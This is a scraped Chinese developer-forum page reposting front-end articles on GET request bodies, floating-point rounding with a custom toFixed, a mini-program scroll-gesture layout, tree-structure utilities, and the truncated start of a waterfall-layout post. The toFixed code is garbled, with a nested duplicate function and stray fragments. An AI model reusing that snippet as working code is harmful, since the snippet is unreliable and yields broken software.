注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

get请求参数放在body中?

web
1、背景 与后端对接口时,看到有一个get请求的接口,它的参数是放在body中的 ******get请求参数可以放在body中?? 随即问了后端,后端大哥说在postman上是可以的,还给我看了截图 可我传参怎么也调不通! 下面就来探究到底是怎么回事 2、...
继续阅读 »

1、背景


与后端对接口时,看到有一个get请求的接口,它的参数是放在body中的



******get请求参数可以放在body中??


随即问了后端,后端大哥说在postman上是可以的,还给我看了截图



可我传参怎么也调不通!


下面就来探究到底是怎么回事


2、能否发送带有body参数的get请求


项目中使用axios来进行http请求,使用get请求传参的基本姿势:


// 参数拼接在url上
axios.get(url, {
params: {}
})

如果想要将参数放在body中,应该怎么做呢?


查看axios的文档并没有看到对应说明,去github上翻看下axios源码看看


lib/core/Axios.js文件中



可以看到像deletegetheadoptions方法,它们只接收两个参数,不过在config中有一个data



熟悉的post请求,它接收的第二个参数data就是放在body的,然后一起作为给this.request作为参数


所以看样子get请求应该可以在第二个参数添加data属性,它会等同于post请求的data参数


顺着源码,再看看lib/adapters/xhr.js,上面的this.request最终会调用这个文件封装的XMLHttpRequest


export default isXHRAdapterSupported && function (config) {
return new Promise(function dispatchXhrRequest(resolve, reject) {
let requestData = config.data

// 将config.params拼接在url上
request.open(config.method.toUpperCase(),
buildURL(fullPath, config.params, config.paramsSerializer), true);

// 省略若干代码
...

// Send the request
request.send(requestData || null);
});
}

最终会将data数据发送出去


所以只要我们传递了data数据,其实axios会将其放在body发送出去的


2.1 实战


本地起一个koa服务,弄一个简单的接口,看看后端能否接收到get请求的body参数


router.get('/api/json', async (ctx, next) => {
console.log('get请求获取body: ', ctx.request.body)

ctx.body = ctx.request.body
})

router.post('/api/json', async (ctx, next) => {
console.log('post请求获取body: ', ctx.request.body)

ctx.body = ctx.request.body
})

为了更好地比较,分别弄了一个getpost接口


前端调用接口:


const res = await axios.get('/api/json', {
data: {
id: 1,
type: 'GET'
}
})


const res = await axios.post('/api/json', {
data: {
id: 2,
type: 'POST'
}
})
console.log('res--> ', res)

axiossend处打一个断点



可以看到数据已经被放到body中了


后端已经接收到请求了,但是get请求无法获取到body



结论:



  • 前端可以发送带body参数的get请求,但是后端接收不到

  • 这就是接口一直调不通的原因


3、这是为何呢?


我们查看WHATGW标准,在XMLHttpRequest中有这么一个说明:



大概意思:如果请求方法是GETHEAD ,那么body会被忽略的


所以我们虽然传递了,但是会被浏览器给忽略掉


这也是为什么使用postman可以正常请求,但是前端调不通的原因了


因为postman并没有遵循WHATWG的标准,body参数没有被忽略



3.1 fetch是否可以?


fetch.spec.whatwg.org/#request-cl…


答案:也不可以,fetch会直接报错



总结



  1. 结论:浏览器并不支持get请求将参数放在body

  2. XMLHTTPRequest会忽略body参数,而fetch则会直接报错


作者:蝼蚁之行
来源:juejin.cn/post/7283367128195055651
收起阅读 »

js精度丢失的问题,重新封装toFixed()

web
js精度丢失的问题,重新封装toFixed() 最近项目中遇到一个问题,那就是用tofixed()保留位小数的时候出现问题;比如2.55.tofixed(1)的结果是2.5。在网上搜了以什么是什么toFixed用的是银行算法,大致了解了一下银行家算法,意思就是...
继续阅读 »

js精度丢失的问题,重新封装toFixed()


最近项目中遇到一个问题,那就是用tofixed()保留位小数的时候出现问题;比如2.55.tofixed(1)的结果是2.5。在网上搜了以什么是什么toFixed用的是银行算法,大致了解了一下银行家算法,意思就是四舍五入的话,如的情况有五种,舍的情况只有四种,所以5看情况是舍还是入。


然而事实并不是什么银行家算法,而是计算的二进制有关,计算机在存储数据是以二进制的形式存储的整数存储倒是没有问题的,但是小数就容易出问题了,就比如0.1的二进制是0.0001100110011001100110011001100110011001100110011001101...无限循环的但是计算保存的时候肯定是有长度限制的,到你使用的时候计算会做一个近似处理


如下图:


企业微信截图_20230824140406.png
那我再看一下2.55的是啥样子的吧


企业微信截图_20230824140555.png
现在是不是很容易理解了为什么2.55保留一位小数是2.5而不是2.6了吧


同时计算机在保留二进制的时候也会存在进位和舍去的
所以这也是解释了一下为什么0.1+0.2不等于0.3,因为0.1和0.2本来存储的就不是精确的数字,加在一起就把误差放大了,计算就不知道你是不是想要的结果是0.3了,但是同样的是不精确是数字加一起确实正确的就比如0.2和0.3


见下图:


企业微信截图_20230824141334.png
这是为什么呢,因为计算存储的时候有进有啥,一个进一个舍两个相加就抵消了。


知道原因了该怎么解决呢?


那就是不用数字,而是用字符串。如果你涉及到一些精确计算的话可以用到一些比较成熟的库比如math.js或者# decimal.js。我今天就是对toFixed()重新封装一下,具体思路就是字符串加整数之间的运算,因为整数存储是精确(不要扛啊 不要超出最大安全整数)



export function toFixed(num, fixed = 2) {//fixed是小数保留的位数
let numSplit = num.toString().split('.');
if (numSplit.length == 1 || !numSplit[1][fixed] || numSplit[1][fixed] <= 4) {
return num.toFixed(fixed);
}
function toFixed(num, fixed = 2) {
let numSplit = num.toString().split(".");
if (
numSplit.length == 1 ||
!numSplit[1][fixed] ||
numSplit[1][fixed] <= 4
) {
return num.toFixed(fixed);
}
numSplit[1] = (+numSplit[1].substring(0, fixed) + 1 + "").padStart( fixed,0);
if (numSplit[1].length > fixed) {
numSplit[0] = +numSplit[0] + 1;
numSplit[1] = numSplit[1].substring(1, fixed + 1);
}
return numSplit.join(".");
}
if (numSplit[1].length > fixed) {
numSplit[0] = +numSplit[0] + 1;
numSplit[1] = numSplit[1].substring(1, fixed + 1);
}
return numSplit.join('.');
}

文章样式简陋,但是干货满满。说的不对的,希望大家指正。


作者:Pangchengqiu12
来源:juejin.cn/post/7270544537671598114
收起阅读 »

小程序手势冲突做不了?不存在的!

web
原生的应用经常会有页面嵌套列表,滚动列表能够改变列表大小,然后还能支持列表内下拉刷新等功能。看了很多的小程序好像都没有这个功能,难道这个算是原生独享的吗,难道是由于手势冲突无法实现吗,冷静的思考了一下,又看了看小程序的手势文档(文档地址),感觉我又行了。 实现...
继续阅读 »

原生的应用经常会有页面嵌套列表,滚动列表能够改变列表大小,然后还能支持列表内下拉刷新等功能。看了很多的小程序好像都没有这个功能,难道这个算是原生独享的吗,难道是由于手势冲突无法实现吗,冷静的思考了一下,又看了看小程序的手势文档(文档地址),感觉我又行了。


实现效果如下:


a.gif


页面区域及支持手势



  • 红色的是列表未展开时内容展示,无手势支持

  • 绿色部分是控制部分,支持上拉下拉手势,对应展开列表及收起列表

  • 蓝色列表部分,支持上拉下拉手势,对应展开列表,上拉下拉刷新等功能

  • 浅蓝色部分是展开列表后的小界面内容展示,无手势支持


原理实现


主要是根据事件系统的事件来自行处理页面应当如何响应,原理其实同原生的差不多。
主要涉及 touchstart、touchmove、touchend、touchcancel 四个


另外的scrollview的手势要借助于 scroll-y、refresher-enable 属性来实现。


之后便是稀疏平常的数学加减法计算题环节。根据不同的内容点击计算页面应当如何绘制显示。具体的还是看代码吧,解释起来又要吧啦吧啦了。



Talk is cheap, show me the code



代码部分


wxml


<!--index.wxml-->
<view>
<view class="header" style="opacity: {{headerOpacity}};height:{{headerHeight}}px;"></view>
<view
class="toolbar"
data-type="toolbar"
style="bottom: {{scrollHeight}}px;height:{{toolbarHeight}}px;"
catch:touchstart="handleToolbarTouchStart"
catch:touchmove="handleToolbarTouchMove"
catch:touchend="handleToolbarTouchEnd"
catch:touchcancel="handleToolbarTouchEnd">
</view>
<scroll-view
class="scrollarea"
type="list"
scroll-y="{{scrollAble}}"
refresher-enabled="{{scrollAble}}"
style="height: {{scrollHeight}}px;"
bind:touchstart="handleToolbarTouchStart"
bind:touchmove="handleToolbarTouchMove"
bind:touchend="handleToolbarTouchEnd"
bind:touchcancel="handleToolbarTouchEnd"
bindrefresherrefresh="handleRefesh"
refresher-triggered="{{refreshing}}"
>

<view class="item" wx:for="{{[1,2,3,4,5,6,7,8,9,0,1,1,1,1,1,1,1]}}">

</view>
</scroll-view>

<view
class="mini-header"
style="height:{{miniHeaderHeight}}px;"
wx:if="{{showMiniHeader}}">


</view>
</view>


ts


// index.ts
// 获取应用实例
const app = getApp<IAppOption>()

Component({
data: {
headerOpacity: 1,
scrollHeight: 500,
windowHeight: 1000,
isLayouting: false,
showMiniHeader: false,
scrollAble: false,
refreshing: false,
toolbarHeight: 100,
headerHeight: 400,
miniHeaderHeight: 200,
animationInterval: 20,
scrollviewStartY: 0,
},
methods: {
onLoad() {
let info = wx.getSystemInfoSync()
this.data.windowHeight = info.windowHeight
this.setData({
scrollHeight: info.windowHeight - this.data.headerHeight - this.data.toolbarHeight
})
},
handleToolbarTouchStart(event) {
this.data.isLayouting = true
let type = event.currentTarget.dataset.type
if (type == 'toolbar') {

} else {
this.data.scrollviewStartY = event.touches[0].clientY
}
},
handleToolbarTouchEnd(event) {
this.data.isLayouting = false

let top = this.data.windowHeight - this.data.scrollHeight - this.data.miniHeaderHeight - this.data.toolbarHeight
if (top > (this.data.headerHeight - this.data.miniHeaderHeight) / 2) {
this.tween(this.data.windowHeight - this.data.scrollHeight, this.data.headerHeight + this.data.toolbarHeight, 200)
} else {
this.tween(this.data.windowHeight - this.data.scrollHeight, this.data.miniHeaderHeight + this.data.toolbarHeight, 200)
}
},
handleToolbarTouchMove(event) {
if (this.data.isLayouting) {
let type = event.currentTarget.dataset.type
if (type=='toolbar') {
this.updateLayout(event.touches[0].clientY + this.data.toolbarHeight / 2)
} else {
if (this.data.scrollAble) {
return
} else {
this.updateScrollViewLayout(event.touches[0].clientY)
}
}
}
},
handleRefesh() {
let that = this
setTimeout(() => {
that.setData({
refreshing: false
})
}, 3000);
},
updateLayout(top: number) {
if (top < this.data.miniHeaderHeight + this.data.toolbarHeight) {
top = this.data.miniHeaderHeight + this.data.toolbarHeight
} else if (top > this.data.headerHeight + this.data.toolbarHeight) {
top = this.data.headerHeight + this.data.toolbarHeight
}
let opacity = (top - (this.data.miniHeaderHeight + this.data.toolbarHeight)) / (this.data.miniHeaderHeight + this.data.toolbarHeight)
let isReachTop = opacity == 0 ? true : false
this.setData({
scrollHeight: this.data.windowHeight - top,
headerOpacity: opacity,
showMiniHeader: isReachTop,
scrollAble: isReachTop
})
},
updateScrollViewLayout(offsetY: number) {
let delta = offsetY - this.data.scrollviewStartY
if (delta > 0) {
return
}
delta = -delta
if (delta > this.data.headerHeight - this.data.miniHeaderHeight) {
delta = this.data.headerHeight - this.data.miniHeaderHeight
}

let opacity = 1 - (delta) / (this.data.headerHeight - this.data.miniHeaderHeight)
let isReachTop = opacity == 0 ? true : false
this.setData({
scrollHeight: this.data.windowHeight - this.data.headerHeight - this.data.toolbarHeight + delta,
headerOpacity: opacity,
showMiniHeader: isReachTop,
scrollAble: isReachTop
})
},
tween(from: number, to: number, duration: number) {
let interval = this.data.animationInterval
let count = duration / interval
let delta = (to-from) / count
this.tweenUpdate(count, delta, from)
},
tweenUpdate(count: number, delta: number, from: number) {
let interval = this.data.animationInterval
let that = this
setTimeout(() => {
that.updateLayout(from + delta)
if (count >= 0) {
that.tweenUpdate(count-1, delta, from + delta)
}
}, interval);
}
},
})


less


/**index.less**/
.header {
height: 400px;
background-color: red;
}
.scrollarea {
position: fixed;
left: 0;
right: 0;
bottom: 0;
background-color: blue;
}
.toolbar {
height: 100px;
position: fixed;
left: 0;
right: 0;
background-color: green;
}
.mini-header {
position: fixed;
top: 0;
left: 0;
right: 0;
height: 200px;
background-color: cyan;
}
.item {
width: 670rpx;
height: 200rpx;
background-color: yellow;
margin: 40rpx;
}

作者:xyccstudio
来源:juejin.cn/post/7341007339216732172
收起阅读 »

有了这篇文章,妈妈再也不担心我不会处理树形结构了!

web
本篇文章你将学习到。什么是树形结构一维树形结构 与 多维树形结构 的相互转化。findTreeData,filterTreeData ,mapTreeData 等函数方法 帮助我们更简单的处理多维树形结构基础介绍有很多小白开发可能不知道什么...
继续阅读 »

本篇文章你将学习到。

  1. 什么是树形结构
  2. 一维树形结构 与 多维树形结构 的相互转化。
  3. findTreeDatafilterTreeData ,mapTreeData 等函数方法 帮助我们更简单的处理多维树形结构

基础介绍

有很多小白开发可能不知道什么树形结构。这里先简单介绍一下。直接上代码一看就懂

一维树形结构

[
  { id: 1, name: `Node 1`, pId: 0 },
  { id: 2, name: `Node 1.1`, pId: 1 },
  { id: 4, name: `Node 1.1.1`, pId: 2 },
  { id: 5, name: `Node 1.1.2`, pId: 2 },
  { id: 3, name: `Node 1.2`, pId: 1 },
  { id: 6, name: `Node 1.2.1`, pId: 3 },
  { id: 7, name: `Node 1.2.2`, pId: 3 },
  { id: 8, name: `Node 2`, pId: 0 },
  { id: 9, name: `Node 2.1`, pId: 8 },
  { id: 10, name: `Node 2.2`, pId: 8 },
]

多维树形结构

[
  {
     id: 1,
     name: `Node 1`,
     children: [
      {
         id: 2,
         name: `Node 1.1`,
         children: [
          { id: 4, name: `Node 1.1.1`, children: [] },
          { id: 5, name: `Node 1.1.2`, children: [] },
        ],
      },
      {
         id: 3,
         name: `Node 1.2`,
         children: [
          { id: 6, name: `Node 1.2.1`, children: [] },
          { id: 7, name: `Node 1.2.2`, children: [] },
        ],
      },
    ],
  },
  {
     id: 8,
     name: `Node 2`,
     children: [
      { id: 9, name: `Node 2.1`, children: [] },
      { id: 10, name: `Node 2.2`, children: [] },
    ],
  },
]

咋一看一维树形结构可能会有点蒙,但是看一下多维树形结构想必各位小伙伴就一目了然了吧。这时候再回头去看一维树形结构想必就很清晰了。一维树形结构就是用pId做关联 来将多维树形结构给平铺了开来。

多维树形结构也是我们前端在渲染页面时经常用到的一种数据结构。但是后台一般给我们的是一维树形结构,而且一维树形结构 也非常有助于我们对数据进行增删改查。所以我们就要掌握一维树形结构多维树形结构的相互转化。

前置规划

再我们进入一段功能开发之前,我们肯定是要设计规划一下,我们的功能架构。

配置项的添加

动态参数名

让我们看一下上面那个数组 很明显有三个属性 是至关重要的。id pId 和 children。可以说没有这些属性就不是树形结构了。但是后台给你的树形结构相关参数不叫这个名字怎么办?所以我们后续的函数方法就要添加一些配置项来动态的配置的属性名。例如这样

type TreeDataConfig = {
 /** 唯一标识 默认是id */
 key?: string
 /** 与父节点关联的唯一标识 默认是pId */
 parentKey?: string
 /** 查询子集的属性名 默认是children */
 childrenName?: string
 isTileArray?: boolean
 isSetPrivateKey?: boolean
}
const flattenTreeData = (treeData:any,config?: TreeDataConfig): T[] => {
   //Do something...
}

keyparentKeychildrenName解决了我们上述的问题。想必你也发现了 除了这些 还有一些其他的配置项。

其他配置项

isTileArray:这个是设置后续的一些操作方法返回值是否为一维树形结构

isSetPrivateKey:这个就是我们下面要说的内容了,是否在节点中添加私有属性。

私有属性的添加

这里先插播一条小知识。可能有的小伙伴会在别人的代码中看到这样一种命名方式 _变量名下划线加变量名,这样就代表了这是一个私有变量。那什么是私有变量呢?请看代码

const name = '张三'
const fun = (_name) =>{
   console.log(_name)
}
fun(name)

上述代码中函数的参数名我们就把他用_name 用来表示。_name就表示了 这个name属性是fun函数的私有变量。用于与外侧的name进行区分。下面我们要添加的私有属性亦是同理 用于与treeNode节点的其他属性进行区分

请继续观察上面的两个树形结构数组。我们会发现多维树形结构的节点中并没有pId属性。这对我们的一些业务场景来说是很麻烦的。因此我们就内置了一个函数 来专门添加这些有可能非常有用的属性。 来更好的描述 我们当前节点在这个树形结构中的位置。

/**
* 添加私有属性。
* _pId     父级id
* _pathArr 记录了从一级到当前节点的id集合。
* _pathArr 的length可以记录当前是多少层
* @param treeNode
* @param parentTreeNode
* @param treeDataConfig
*/
const setPrivateKey = (treeNode,parentTreeNode, config) => {
 const { key = `id` } = config || {}
 item._pId = parentInfo?.[key]
 item._pathArr = parentInfo?._pathArr ? [...parentInfo._pathArr, item[key]] : [item[key]]
}

一维树形结构 与 多维树形结构 的相互转化

一维树形结构转多维树形结构

/**
* 一维树形结构转多维树形结构
* @param tileArray 一维树形结构数组
* @param config 配置项(key,childrenName,parentKey,isSetPrivateKey)
* @returns 返回多维树形结构数组
*/

const getTreeData = (tileArray = [], config) => {
 const {
   key = `id`,
   childrenName = `children`,
   parentKey = `pId`,
   isSetPrivateKey = false,
} = config || {}
 const fun = (parentTreeNode) => {
   const parentId = parentTreeNode[key]
   const childrenNodeList = []
   copyTileArray = copyTileArray.filter(item => {
     if (item[parentKey] === parentId) {
       childrenNodeList.push({ ...item })
       return false
    }
     else {
       return true
    }
  })
   parentTreeNode[childrenName] = childrenNodeList
   childrenNodeList.forEach(item => {
     isSetPrivateKey && setPrivateKey(item, parentTreeNode, config)
     fun(item)
  })
}
 const rootNodeList = tileArray.filter(item => !tileArray.some(i => i[key] === item[parentKey]))
 const resultArr = []
 let copyTileArray = [...tileArray]
 rootNodeList.forEach(item => {
   const index = copyTileArray.findIndex(i => i[key] === item[key])
   if (index > -1) {
     copyTileArray.splice(index, 1)
     const obj = { ...item }
     resultArr.push(obj)
     isSetPrivateKey && setPrivateKey(obj, undefined, config)
     fun(obj)
  }
})
 return resultArr
};

多维树形结构转一维树形结构

/**
* 多维树形结构转一维树形结构
* @param treeData 树形结构数组
* @param config 配置项(key,childrenName,isSetPrivateKey)
* @returns 返回一维树形结构数组
*/

const flattenTreeData = (treeData = [], config) => {
 const { childrenName = `children`, isSetPrivateKey = false } = config || {};
 const result = [];

 /**
  * 递归地遍历树形结构,并将每个节点推入结果数组中
  * @param _treeData 树形结构数组
  * @param parentTreeNode 当前树节点的父节点
  */

 const fun = (_treeData, parentTreeNode) => {
   _treeData.forEach((treeNode) => {
     // 如果需要,为每个树节点设置私有键
     isSetPrivateKey && setPrivateKey(treeNode, parentTreeNode, config);
     // 将当前树节点推入结果数组中
     result.push(treeNode);
     // 递归地遍历当前树节点的子节点(如果有的话)
     if (treeNode[childrenName]) {
       fun(treeNode[childrenName], treeNode);
    }
  });
};

 // 从树形结构的根节点开始递归遍历
 fun(treeData);

 return result;
};

处理多维树形结构的函数方法

在开始的基础介绍中我们有提到过一维树形结构 有助于我们对数据进行增删改查。因为一维的树形结构可以很容易的使用的我们数组内置的一些 find filter map 等方法。这几个方法不知道小伙伴赶紧去补一补这些知识吧 看完了再回到这里。传送门

下面我们会介绍 findTreeDatafilterTreeData ,mapTreeData 这三个方法。使用方式基本和find filter map原始数组方法一样。也有些许不一样的地方:

  1. 因为我们不是直接把方法绑定在原型上面的 所以不能直接 arr.findTreeData 这样使用。需要findTreeData (arr) 把多维树形结构数组当参数传进来。
  2. callBack函数参数返回有些许不同 。前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined。
  3. filterTreeData ,mapTreeData方法我们可以通过配置项中的isTileArray属性来设置返回的是一维树形结构还是多维树形结构

findTreeData

/**
* 筛选多维树形结构 返回查询到的第一个结果
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的find方法一致(前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined)
* @param config 配置项(key,childrenName,isSetPrivateKey)
* @returns 返回查询到的第一个结果
*/

const findTreeData = (treeData = [], callBack, config, parentTreeNode) => {
 // 定义配置项中的 childrenName 和 isSetPrivateKey 变量, 如果没有传入 config 则默认值为 {}
 const { childrenName = `children`, isSetPrivateKey = false } = config || {};

 // 遍历树形数据
 for (const treeNode of treeData) {
   // 当 isSetPrivateKey 为真时,为每个节点设置私有变量
   if (isSetPrivateKey) {
     setPrivateKey(treeNode, parentTreeNode, config);
  }
   // 如果 callBack 返回真, 则直接返回当前节点
   if (callBack?.(treeNode, treeData.indexOf(treeNode), parentTreeNode)) {
     return treeNode;
  }
   // 如果有子节点, 则递归调用 findTreeData 函数, 直到找到第一个匹配节点
   if (treeNode[childrenName]) {
     const dataInfo = findTreeData(treeNode[childrenName], callBack, config, treeNode);
     if (dataInfo) {
       return dataInfo;
    }
  }
}
};

filterTreeData

/**
* 筛选多维树形结构 返回查询到的结果数组
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的filter方法一致(前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined)
* @param config 配置项(key,childrenName,isTileArray,isSetPrivateKey)
* @returns 返回查询到的结果数组
*/

const filterTreeData = (treeData = [], callBack, config) => {
 const { childrenName = `children`, isTileArray = false, isSetPrivateKey = false } = config || {}; // 解构配置项
 const resultTileArr = []; // 用于存储查询到的结果数组
 const fun = (_treeData, parentTreeNode) => {
   return _treeData.filter((treeNode, index) => {
       if (isSetPrivateKey) {
         setPrivateKey(treeNode, parentTreeNode, config); // 为每个节点设置私有键名
      }
       const bool = callBack?.(treeNode, index, parentTreeNode)
       if (treeNode[childrenName]) { // 如果该节点存在子节点
         treeNode[childrenName] = fun(treeNode[childrenName], treeNode); // 递归调用自身,将子节点返回的新数组赋值给该节点
      }
       if (bool) { // 如果传入了搜索条件回调函数,并且该节点通过搜索条件
         resultTileArr.push(treeNode); // 将该节点添加至结果数组
         return true; // 返回true
      } else { // 否则,如果该节点存在子节点
         return treeNode[childrenName] && treeNode[childrenName].length; // 判断子节点是否存在
      }
    });
};
 const resultArr = fun(treeData); // 调用函数,返回查询到的结果数组或整个树形结构数组
 return isTileArray ? resultTileArr : resultArr; // 根据配置项返回结果数组或整个树形结构数组
};

mapTreeData

/**
* 处理多维树形结构数组的每个元素,并返回处理后的数组
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的map方法一致(前两个参数一样 第三个参数为旧的父级详情 第四个是新的父级详情)
* @param config 配置项(key,childrenName,isTileArray,isSetPrivateKey)
* @returns 返回查询到的结果数组
*/

const mapTreeData = (treeData = [], callBack, config) => {
 const { childrenName = `children`, isTileArray = false, isSetPrivateKey = false } = config || {}
 const resultTileArr = []
 const fun = (_treeData, oldParentTreeNode, newParentTreeNode) => {
   return _treeData.map((treeNode, index) => {
     isSetPrivateKey && setPrivateKey(treeNode, oldParentTreeNode, config)
     const callBackInfo = callBack?.(treeNode, index, oldParentTreeNode, newParentTreeNode)
     if (isTileArray) {
       resultTileArr.push(callBackInfo)
    }
     const mappedTreeNode = {
       ...treeNode,
       ...callBackInfo,
    }
     if (treeNode?.[childrenName]) {
       mappedTreeNode[childrenName] = fun(treeNode[childrenName], treeNode, mappedTreeNode)
    }
     return mappedTreeNode
  })
}
 const resultArr = fun(treeData)
 return isTileArray ? resultTileArr : resultArr
};

ts版本代码

/**
* 操控树形结构公共函数方法
* findTreeData     筛选多维树形结构 返回查询到的第一个结果
* filterTreeData   筛选多维树形结构 返回查询到的结果数组
* mapTreeData     处理多维树形结构数组的每个元素,并返回处理后的数组
* getTreeData     一维树形结构转多维树形结构
* flattenTreeData 多维树形结构转一维树形结构
*/


/** 配置项 */
type TreeDataConfig = {
 /** 唯一标识 默认是id */
 key?: string
 /** 与父节点关联的唯一标识 默认是pId */
 parentKey?: string
 /** 查询子集的属性名 默认是children */
 childrenName?: string
 /** 返回值是否为一维树形结构 默认是false*/
 isTileArray?: boolean
 /** 是否添加私有变量 默认是false */
 isSetPrivateKey?: boolean
}

type TreeNode = {
 _pId?: string | number
 _pathArr?: Array
}

/**
* 新增业务参数。
* _pId     父级id
* _pathArr 记录了从一级到当前节点的id集合。
* _pathArr 的length可以记录当前是多少层
* @param treeNode
* @param parentTreeNode
* @param treeDataConfig
*/

const setPrivateKey = (
 treeNode: T & TreeNode,
 parentTreeNode: (T & TreeNode) | undefined,
 config?: TreeDataConfig
) => {
 const { key = `id` } = config || {}
 treeNode._pId = parentTreeNode?.[key]
 treeNode._pathArr = parentTreeNode?._pathArr
   ? [...parentTreeNode._pathArr, treeNode[key]]
  : [treeNode[key]]
}

type FindTreeData = (
 treeData?: readonly T[],
 callBack?: (treeNode: T, index: number, parentTreeNode?: T) => boolean,
 config?: TreeDataConfig,
 parentTreeNode?: T
) => (T & TreeNode) | undefined
/**
* 筛选多维树形结构 返回查询到的第一个结果
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的find方法一致(前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined)
* @param config 配置项(key,childrenName,isSetPrivateKey)
* @returns 返回查询到的第一个结果
*/

export const findTreeData: FindTreeData = (treeData = [], callBack, config, parentTreeNode) => {
 const { childrenName = `children`, isSetPrivateKey = false } = config || {}
 for (const treeNode of treeData) {
   isSetPrivateKey && setPrivateKey(treeNode, parentTreeNode, config)
   if (callBack?.(treeNode, treeData.indexOf(treeNode), parentTreeNode)) {
     return treeNode
  }
   if (treeNode[childrenName]) {
     const dataInfo = findTreeData(treeNode[childrenName], callBack, config, treeNode)
     if (dataInfo) {
       return dataInfo
    }
  }
}
}

/**
* 筛选多维树形结构 返回查询到的结果数组
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的filter方法一致(前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined)
* @param config 配置项(key,childrenName,isTileArray,isSetPrivateKey)
* @returns 返回查询到的结果数组
*/

export const filterTreeData = (
 treeData: readonly T[] = [],
 callBack?: (treeNode: T, index: number, parentTreeNode?: T) => boolean,
 config?: TreeDataConfig
): (T & TreeNode)[] => {
 const { childrenName = `children`, isTileArray = false, isSetPrivateKey = false } = config || {}
 const resultTileArr: T[] = []
 const fun = (_treeData: readonly T[], parentTreeNode?: T): T[] => {
   return _treeData.filter((treeNode, index) => {
     isSetPrivateKey && setPrivateKey(treeNode, parentTreeNode, config)
     const bool = callBack?.(treeNode, index, parentTreeNode)
     if (treeNode[childrenName]) {
      ;(treeNode[childrenName] as T[]) = fun(treeNode[childrenName], treeNode)
    }
     if (bool) {
       resultTileArr.push(treeNode)
       return true
    } else {
       return treeNode[childrenName] && treeNode[childrenName].length
    }
  })
}
 const resultArr = fun(treeData)
 return isTileArray ? resultTileArr : resultArr
}

/**
* 处理多维树形结构数组的每个元素,并返回处理后的数组
* @param treeData 树形结构数组
* @param callBack 写入搜索条件 用法和数组的map方法一致(前两个参数一样 第三个参数为父级的详情 没有父级的返回undefined)
* @param config 配置项(key,childrenName,isTileArray,isSetPrivateKey)
* @returns 返回查询到的结果数组
*/

export const mapTreeData = (
 treeData: readonly T[] = [],
 callBack?: (
   treeNode: T,
   index: number,
   oldParentTreeNode?: T,
   newParentTreeNode?: T
) => { [x: string]: any } | any,
 config?: TreeDataConfig
): Array => {
 const { childrenName = `children`, isTileArray = false, isSetPrivateKey = false } = config || {}
 const resultTileArr: Array = []
 const fun = (_treeData: readonly T[], oldParentTreeNode?: T, newParentTreeNode?: T) => {
   return _treeData.map((treeNode, index) => {
     isSetPrivateKey && setPrivateKey(treeNode, oldParentTreeNode, config)
     const callBackInfo = callBack?.(treeNode, index, oldParentTreeNode, newParentTreeNode)
     if (isTileArray) {
       resultTileArr.push(callBackInfo)
       return
    }
     const mappedTreeNode = {
       ...treeNode,
       ...callBackInfo,
    }
     if (treeNode?.[childrenName]) {
       mappedTreeNode[childrenName] = fun(treeNode[childrenName], treeNode, mappedTreeNode)
    }
     return mappedTreeNode
  })
}
 const resultArr = fun(treeData)
 return isTileArray ? resultTileArr : resultArr
}

/**
* 一维树形结构转多维树形结构
* @param tileArray 一维树形结构数组
* @param config 配置项(key,childrenName,parentKey,isSetPrivateKey)
* @returns 返回多维树形结构数组
*/

export const getTreeData = (
 tileArray: readonly T[] = [],
 config?: TreeDataConfig
): (T & TreeNode)[] => {
 const {
   key = `id`,
   childrenName = `children`,
   parentKey = `pId`,
   isSetPrivateKey = false,
} = config || {}
 const fun = (parentTreeNode: { [x: string]: any }) => {
   const parentId = parentTreeNode[key]
   const childrenNodeList: T[] = []
   copyTileArray = copyTileArray.filter(item => {
     if (item[parentKey] === parentId) {
       childrenNodeList.push({ ...item })
       return false
    } else {
       return true
    }
  })
   parentTreeNode[childrenName] = childrenNodeList
   childrenNodeList.forEach(item => {
     isSetPrivateKey && setPrivateKey(item, parentTreeNode, config)
     fun(item)
  })
}
 const rootNodeList = tileArray.filter(item => !tileArray.some(i => i[key] === item[parentKey]))
 const resultArr: (T & TreeNode)[] = []
 let copyTileArray = [...tileArray]
 rootNodeList.forEach(item => {
   const index = copyTileArray.findIndex(i => i[key] === item[key])
   if (index > -1) {
     copyTileArray.splice(index, 1)
     const obj = { ...item }
     resultArr.push(obj)
     isSetPrivateKey && setPrivateKey(obj, undefined, config)
     fun(obj)
  }
})
 return resultArr
}

/**
* 多维树形结构转一维树形结构
* @param treeData 树形结构数组
* @param config 配置项(key,childrenName,isSetPrivateKey)
* @returns 返回一维树形结构数组
*/

export const flattenTreeData = (
 treeData: readonly T[] = [],
 config?: TreeDataConfig
): (T & TreeNode)[] => {
 const { childrenName = `children`, isSetPrivateKey = false } = config || {}
 const result: T[] = []
 const fun = (_treeData: readonly T[], parentTreeNode?: T) => {
   _treeData.forEach(treeNode => {
     isSetPrivateKey && setPrivateKey(treeNode, parentTreeNode, config)
     result.push(treeNode)
     if (treeNode[childrenName]) {
       fun(treeNode[childrenName], treeNode)
    }
  })
}
 fun(treeData)
 return result
}


作者:热心市民王某
来源:juejin.cn/post/7213642622074765369
收起阅读 »

瀑布流最佳实现方案

web
传统实现方式 当前文章的gif文件较大,加载的时长可能较久 这里我拿小红书的首页作为分析演示 可以看到他们的实现方式是传统做法,把每个元素通过获取尺寸,然后算出left、top的排版位置,最后在每个元素上设置偏移值,思路没什么好说的,就是算元素坐标。那么...
继续阅读 »

传统实现方式



当前文章的gif文件较大,加载的时长可能较久



这里我拿小红书的首页作为分析演示


xhs2.gif


